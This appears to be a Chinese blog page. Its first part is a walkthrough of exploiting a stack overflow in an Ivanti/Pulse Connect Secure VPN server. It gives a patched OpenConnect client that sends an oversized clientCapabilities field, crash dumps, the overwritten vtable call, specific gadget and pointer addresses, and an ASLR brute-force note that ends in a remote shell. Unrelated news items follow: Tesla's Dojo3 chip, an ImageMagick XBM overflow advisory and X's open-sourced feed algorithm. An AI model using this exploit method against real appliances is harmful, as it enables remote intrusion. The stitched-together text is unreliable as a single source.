buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+       buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);

编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads

1
/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv
Attempting to connect to server 172.16.64.222:443
Connected to 172.16.64.222:443
SSL negotiation with 172.16.64.222
Server certificate verify failed: signer not found

Certificate from VPN server "172.16.64.222" failed verification.
Reason:signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
> GET / HTTP/1.1
> Host: 172.16.64.222
> User-Agent: Open AnyConnect VPN Agent v9.12-unknown
> Content-Type: EAP
> Upgrade: IF-T/TLS 1.0
> Content-Length: 0
>
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type:application/octet-stream
Pragma:no-cache
Upgrade:IF-T/TLS 1.0
Connection:Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature:1
Strict-Transport-Security:max-age=31536000
accept-ch:Sec-CH-UA-Platform-Version
> 0000:  00 00 55 97 00 00 00 01  00 00 00 14 00 00 00 00  |..U.............|
> 0010:  00 01 02 02                                       |....|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 02  00 00 00 14 00 00 01 f5  |..U.............|
< 0010:  00 00 00 02                                       |....|
IF-T/TLS version from server: 2
> 0000:  00 00 0a 4c 00 00 00 88  00 00 06 a1 00 00 00 01  |...L............|
> 0010:  63 6c 69 65 6e 74 48 6f  73 74 4e 61 6d 65 3d 75  |clientHostName=u|
> 0020:  62 75 6e 74 75 20 63 6c  69 65 6e 74 49 70 3d 31  |buntu clientIp=1|
> 0030:  39 38 2e 31 39 2e 32 34  39 2e 31 38 38 20 63 6c  |98.19.249.188 cl|
> 0040:  69 65 6e 74 43 61 70 61  62 69 6c 69 74 69 65 73  |ientCapabilities|
> 0050:  3d 31 39 38 2e 31 39 2e  32 34 39 2e 31 38 38 41  |=198.19.249.188A|
> 0060:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0070:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0080:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0090:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0100:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0110:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0120:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0130:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0140:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0150:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0160:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0170:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0180:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0190:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0200:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0210:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0220:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0230:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0240:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0250:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0260:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0270:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0280:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0290:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0300:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0310:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0320:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0330:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0340:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0350:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0360:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0370:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0380:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0390:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 03f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0400:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0410:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0420:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0430:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0440:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0450:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0460:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0470:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0480:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0490:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 04f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0500:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0510:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0520:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0530:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0540:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0550:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0560:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0570:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0580:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0590:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 05f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0600:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0610:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0620:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0630:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0640:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0650:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0660:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0670:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0680:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0690:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 0a  |AAAAAAAAAAAAAAA.|
> 06a0:  00                                                |.|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 05  00 00 00 14 00 00 01 f6  |..U.............|
< 0010:  00 0a 4c 01                                       |..L.|
> 0000:  00 00 55 97 00 00 00 06  00 00 00 22 00 00 00 02  |..U........"....|
> 0010:  00 0a 4c 01 02 01 00 0e  01 61 6e 6f 6e 79 6d 6f  |..L......anonymo|
> 0020:  75 73                                             |us|

可以看到构超级长的 ientCapabilities 参数的时候就会栈溢出

free 的 崩溃现场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Program received signal SIGSEGV, Segmentation fault.
eax            0x0      0
edi            0xff856370       -8035472
esi            0x1      1
edx            0xf1a8d004       -240594940
=> 0xf4f73d1d <free+45>:        mov    esi,DWORD PTR [ecx-0x4]
0xf4f73d20 <free+48>:        lea    edx,[ecx-0x8]
0xf4f73d23 <free+51>:        test   esi,0x2
0xf4f73d29 <free+57>:        jne    0xf4f73d58 <free+104>
0xf4f73d2b <free+59>:        and    esi,0x4
0xff856110:     0x56723200      0x566dd509      0x566ecbc7      0xf4f73cf8
0xff856120:     0xf7a26000      0x00000001      0xff856370      0xf6d6535f
0xff856130:     0x41414141      0x00000032      0xf7f3abc9      0x5671d000
0xff856140:     0x5671d000      0x56723200      0x00000001      0x5669a4e8
0xff856150:     0xff856370      0x00000289      0x566ed87c      0x566d7c7f
0xf4f73d1d in free () from /lib/libc.so.6
(gdb) bt
#0  0xf4f73d1d in free () from /lib/libc.so.6
#1  0xf6d6535f in DSUtilMemPool::~DSUtilMemPool() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#2  0x5669a4e8 in ?? ()
#3  0x5669ae7b in ?? ()
#4  0xf5fd0565 in IftTlsParser::parse(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#5  0xf5fd084e in IftTlsParser::parseData(unsigned char const*, unsigned int) () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsagentd.so
#6  0x56696e48 in ?? ()
#7  0x566133d5 in ?? ()
#8  0x56614446 in ?? ()
#9  0x56614d40 in ?? ()
#10 0xf6c4942e in ?? () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#11 0xf6c49f2f in DSEvntFds::runDispatcher() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so
#12 0x5663f477 in ?? ()
#13 0x565e0a37 in main ()
(gdb) p/x 0x5669a4e8  - $base
$1 = 0xe54e8
(gdb) i er ecx
Undefined info command: "er ecx".  Try "help info".
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb)
1
2
3
4
5
6
7
void __cdecl EPMessage::~EPMessage(EPMessage *this)
{
DSHash::~DSHash((EPMessage *)((char *)this + 4));
}

0xf6d0fb31 in DSHash::~DSHash() () from /home/ecbuilds/int-rel/sa/22.7/bld3431.1/install/lib/libdsplibs.so

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
memset(dest, 0, sizeof(dest));
strncpy(dest, (const char *)a1->clientCapabilities, v23);// overflow
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}
memset(v25, 0, 4 * (v24 >> 2));
v26 = &v25[2 * (v24 >> 2)];
if ( (v24 & 2) != 0 )
*v26 = 0;
na = 46;
(*(void (__cdecl **)(struct_a1 *, __int16 *))(*(_DWORD *)a1->gap0 + 72))(a1, &v57);

在溢出之后有一个函数指针的调用

1
2
3
4
5
6
7
8
9
mov     edx, [esp+0A0Ch+var_9E0]
mov     eax, [esp+2576]
mov     eax, [eax]
mov     [esp+0A0Ch+src], edx
; 395:     na = 46;
mov     edx, [esp+0A0Ch+arg_0]
mov     [esp+0A0Ch+n], 2Eh ; '.' ; int
mov     [esp+0A0Ch+var_A0C], edx
call    dword ptr [eax+48h]

这里是一个this 指针调用虚表函数的功能， 由于虚表指针在栈上， 这个栈是可以被我们覆盖的， 所以我们大概率就是需要找到一个虚表指针，他指向的虚表函数表， 这个表 +0x48 能有合适的gadget， 我一开始的思路是去找所有的虚表定义，看看有没有合适的， 可惜我没有找到， 于是我回到 https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/ 这个文章[2]，观察这个作者的 A Gadget From The Gods ， 最后我用的大概率也是做这个找到的这个gadget
image.png

在这文章[2]中作者提到了他的 gadget 的具体汇编，第一句是mov ebx, 0xfffffff0 ， 第二句是 add esp, 0x204C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+--------------------------+
| gadget_0[0x48]           |
+--------------------------+
| mov ebx, 0xfffffff0      | <- Load value into EBX
+--------------------------+
| add esp, 0x204C          | <- Adjust stack pointer
+--------------------------+
| mov eax, ebx             | <- Copy EBX to EAX
+--------------------------+
| pop ebx                  | <- Restore EBX
+--------------------------+
| pop esi                  | <- Restore ESI
+--------------------------+
| pop edi                  | <- Restore EDI
+--------------------------+
| pop ebp                  | <- Restore EBP
+--------------------------+
| ret                      | <- Return to caller
+--------------------------+

于是我采用了一个最笨的方法， 将所有引用的 lib 库全部objdump 一遍， 然后去grep

1
2
3
objdump --x86-asm-syntax=intel -D  $(find . -name "libagentdcs.so") 2>&1 > libagentdcs.so.so.txt

cat ibdsplibs.txt|grep -e "add\tesp, 0x204c"

在libdsplibs.so 的 0x93849C 地址找到了这个 gadget ，意料之外的是这里具体居然是个 swithc table 表

image.png

按照代码逻辑， 我们只要反着算就行， 例如我们这里最后 vtable 的地址是 0x11D8940， 那么就需要有一个地址存储这个指针， 直接在 ida 的binary search 里搜索

image.png

image.png

找到一个这个， 所以我们最后要覆盖的this 指针地址为 0x00934F4C， 后面正常 rop 就行， 这里提一句 libc的随机化是 0xfff 位， 多核启动的时候会有一个主进程不断的fork子进程，因此我们爆破 0xfff次就一定能成功执行

拿到的权限是 nr 权限

bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr) context=system_u:system_r:kernel_t:s0
bash-4.2$

完整的ROP链也留给读者实现了。

  1. 1.OpenConnect https://www.infradead.org/openconnect/download.html↩
  2. 2.https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/↩

CVE-2025-36463 Sudo_chroot Elevation of Privilege 漏洞分析


漏洞分析

,

CVE-2025-32023 Redis 漏洞分析


漏洞分析

埃隆・马斯克在刚刚过去的长周末表示，特斯拉计划重启 Dojo3 项目 —— 这家电动汽车公司此前已放弃的第三代 AI 芯片。但这一次，Dojo3 的目标不再是在地球上训练自动驾驶模型。马斯克称，它将专门用于 “天基 AI 计算”。
这一转变发生在特斯拉实际上关闭 Dojo 项目五个月之后。在 Dojo 负责人彼得・班农（Peter Bannon）离职后，公司解散了负责 Dojo 超级计算机的团队。大约 20 名 Dojo 员工随后加入了 DensityAI—— 一家由前 Dojo 主管 Ganesh Venkataramanan 以及前特斯拉员工 Bill Chang 和 Ben Floering 共同创立的新 AI 基础设施初创公司。
在 Dojo 项目关闭时，彭博社曾报道，特斯拉计划更多依赖英伟达以及 AMD 等合作伙伴提供算力，并依靠三星进行芯片制造，而不是继续开发自己的定制芯片。马斯克的最新言论表明，这一战略再次发生了转变。
这位亿万富翁高管、共和党大金主在 X 上发文称，重启 Dojo 的决定是基于其内部芯片路线图的进展，并指出特斯拉的 AI5 芯片设计 “进展顺利”。
特斯拉的 AI5 芯片由台积电制造，旨在为该汽车制造商的自动驾驶功能和 Optimus 人形机器人提供算力。去年夏天，特斯拉与三星签署了一份价值 165 亿美元的协议，用于生产 AI6 芯片。该芯片有望为特斯拉车辆和 Optimus 提供动力，并支持数据中心中的高性能 AI 训练。
“AI7 / Dojo3 将用于天基 AI 计算，” 马斯克在周日表示，将这个被复活的项目定位为更具 “登月性质” 的探索。
为实现这一目标，特斯拉目前正准备重建几个月前解散的团队。马斯克在同一条帖子中直接招募工程师，写道：“如果你有兴趣参与开发未来世界上产量最高的芯片，请发送邮件至 AI_Chips@Tesla.com，并附上你解决过的三个最棘手的技术问题（用要点列出）。”
这一宣布的时机值得注意。在 2026 年 CES 上，英伟达推出了用于自动驾驶的开源 AI 模型 Alpamayo，直接挑战特斯拉的 FSD 软件。马斯克在 X 上评论称，解决驾驶中那些罕见的 “长尾边缘案例” 是 “超级困难的”，并补充道：“我真心希望他们成功。”
马斯克和其他几位 AI 行业高管认为，数据中心的未来可能在地球之外，因为地球电网已经接近极限。Axios 最近报道，马斯克的竞争对手、OpenAI 首席执行官山姆・奥特曼（Sam Altman）也对将数据中心送入轨道的前景感到兴奋。马斯克相比同行拥有一项优势 —— 他已经掌控了运载火箭。
据 Axios 报道，马斯克计划利用 SpaceX 即将到来的 IPO 来资助他的愿景：使用星舰（Starship）发射一组计算卫星星座，使其能够在持续的阳光下运行，全天候收集太阳能。
尽管如此，要让太空 AI 数据中心成为现实仍面临诸多障碍，尤其是在真空中为高功率计算设备散热的挑战。马斯克关于特斯拉打造 “天基 AI 计算” 的言论符合他一贯的模式：先提出一个听起来有些牵强的想法，然后试图用 “蛮力” 将其变为现实。

ImageMagick 中发现了一个新的高危漏洞。ImageMagick 是一个无处不在的图像处理库，从社交媒体平台到内容管理系统都在使用。该漏洞编号为 CVE-2026-23876，攻击者只需上传一个特制的 XBM 图像文件，即可触发大规模堆缓冲区溢出。
该漏洞的 CVSS 评分为 8.1，对任何处理不可信图像的网络服务都构成重大风险，可能导致内存破坏或程序崩溃。
漏洞位于 XBM 图像解码器（coders/xbm.c）中，该组件负责处理 X Window System Bitmap 格式。根本原因是典型的整数截断问题 —— 程序认为需要的内存量与实际使用的内存量不一致。
根据漏洞报告，问题发生在软件计算新图像的缓冲区大小时。它将图像的行数（一个 64 位值）强制转换为 32 位无符号整数。
“在第 349-350 行，image->rows（size_t 类型）被截断为 unsigned int 以进行分配…… 然而，第 369-377 行的写入循环使用的是原始未截断的 image->rows 值。”
这造成了危险的不一致。如果攻击者提供一个非常大的图像行数（例如 0x500000001），系统会截断该数值，只分配一个极小的缓冲区（大约 1 字节）。然而，后续的循环却不知道这一点，它会根据原始的巨大数值继续写入数据。
“循环迭代次数：bytes_per_line * 21474836481 → 大规模溢出。”
让这个溢出特别危险的是，攻击者对溢出过程具有高度控制权。报告指出，“溢出大小” 可通过图像尺寸（行数和列数）控制，而 “写入的数据” 可通过 XBM 文件中的十六进制值控制。
这使得攻击者可以在分配的缓冲区之外写入可控字节（0x00-0xFF），从而覆盖堆上的关键内存结构。
由于 ImageMagick 是网络的基础组件，该漏洞的影响范围非常广泛。报告强调了几个主要目标：
  • 网络服务：任何带有图像上传功能的网站，例如缩略图生成器或格式转换器。
  • 内容管理系统：像 WordPress 和 Drupal 这样的流行平台通常依赖 ImageMagick 后端来处理媒体库。
  • CI/CD 流水线：自动处理用户提交的图像或资源的系统。
攻击向量非常简单：“任何使用 ImageMagick 处理不可信图像的应用程序” 都可能通过一次简单的网络上传被攻破。
该漏洞影响 7.1.2-13 之前的 7 系列版本 和 6.9.13-38 之前的 6 系列版本。
维护者已经发布了修复整数截断逻辑的补丁。使用 ImageMagick 的管理员和开发者被强烈建议立即升级到 7.1.2-13 或 6.9.13-38 版本，以降低远程攻击风险。

X 正式开源其基于 Grok 的推荐算法，公开了回复加权机制、链接惩罚规则及相似聚类技术（SimClusters） 。开发者通过剖析代码，解锁了内容互动预测的核心逻辑 —— 这一举措在平台透明度承诺下，正重塑创作者的运营策略。
为践行透明度承诺，埃隆・马斯克旗下的 X 平台采取大胆举措：开源经重构的推荐系统，揭开了驱动用户信息流的复杂底层架构。2026 年 1 月 20 日，X 工程团队与马斯克本人通过平台发文宣布该消息，相关代码托管于 github.com/xai-org/x-algorithm，其核心采用支撑 xAI 公司 Grok 模型的 Transformer 架构。此次开源兑现了马斯克 1 月 10 日的承诺，包含详尽的开发者说明文档，并计划每四周更新一次 —— 这一行动背后，是社交媒体信息流面临的监管压力日益加剧。
此次披露正值 X 因算法 “低效” 饱受诟病之际，马斯克在回复中坦言：“我们深知当前算法存在不足，亟需大幅优化，但至少大家能实时看到我们以透明方式努力改进的过程。” 与竞争对手不同，X 主动开放算法供公众审视，马斯克强调：“没有其他社交媒体公司会这么做。”
X 平台上的开发者初步代码评审显示，该算法已从 “刚性规则驱动” 转向 “AI 预测驱动”。据 StockTwits 报道，代码仓库详细披露了内容推荐逻辑，但专家指出，训练模型权重等关键要素并未包含在内。

Transformer核心赋能互动预测

算法的核心是一个轻量版 Grok 变体，借助 Transformer 架构，每日对 1 亿条帖子进行用户反应预测 —— 包括点赞、回复、转发、收藏等行为。X 工程团队在推文中证实：“其采用与 xAI Grok 模型相同的 Transformer 架构。” 据 News9live 分析，这一设计用机器学习取代了传统启发式规则，优先推送更可能引发用户互动的内容。
X 平台用户 @bytebot（科林・查尔斯）剖析代码后表示：“基于 Grok 的 Transformer 排序机制，有效避免了信息茧房问题。” 关注账号的 “圈内内容” 将获得优先推荐，而 “圈外内容” 则依赖机器学习预测，且包含图片、视频等媒体形式的内容会获得权重加成。内容时效性是重要考量因素，当目标受众活跃时，近期发布的内容将更具优势。
创作者可信度通过历史互动数据体现，若高活跃度用户关注的账号发布内容，其排名会相应提升。不过，该代码未包含嵌入表、Phoenix 检索细节及垃圾邮件过滤器等模块，表明此次开源聚焦核心排序逻辑，属于部分披露。

回复链与停留时间成关键信号

回复被证实为权重最高的互动信号。用户 @barkmeta（巴克）总结：“务必回复评论 —— 算法对‘评论 + 作者回复’的权重设定，是单纯点赞的 75 倍。无视评论等同于扼杀内容传播力。” 用户 @GodsBurnt（石博）也呼应：“‘75 倍规则’是代码中最强信号：评论 + 作者回复的组合效应无可替代。”
收藏行为的权重乘数为 50 倍，这意味着具备参考价值的内容将获得更多曝光；而停留时间 —— 通过用户观看视频或点击 “展开更多” 的行为来衡量 —— 同样具有决定性作用。正如查尔斯所指出的：“观看时长为王，若用户快速划走，内容排名将大幅下滑。” 视频和系列推文因能更好地吸引用户注意力，表现尤为突出。
负面信号的惩罚力度显著：屏蔽和静音操作的负面影响是取消关注的 10 倍。具有争议性但非垃圾信息的内容可能获得较高传播度，而引发用户反感的内容则会被降低曝光。

链接惩罚与垂直领域锁定重塑发布策略

外部链接会触发 “链接税” 机制，据石博透露，内容曝光量可能骤降高达 400%：“链接会扼杀可见度，应将其放在个人简介或置顶推文里。” 创作者建议通过简介放置链接或自动回复引导等方式，让用户留在平台内 —— 这与算法 “抵制用户流失” 的设计倾向高度一致。
相似聚类技术（SimClusters）强化了内容的垂直领域属性。巴克警告：“坚守自身领域…… 若偏离垂直赛道（如加密货币、科技等），将无法获得任何流量支持。” 该系统会按主题对用户和内容进行聚类，对偏离主题的内容实施降权处理，以确保信息流相关性。
这些从 GitHub 代码中拆解的机制表明，算法更青睐互动性强的对话式内容，而非单纯的被动浏览。据 Hypebeast 报道，马斯克承诺将持续更新算法，以回应外界对信息流机制及 Grok 整合效果的密切关注。

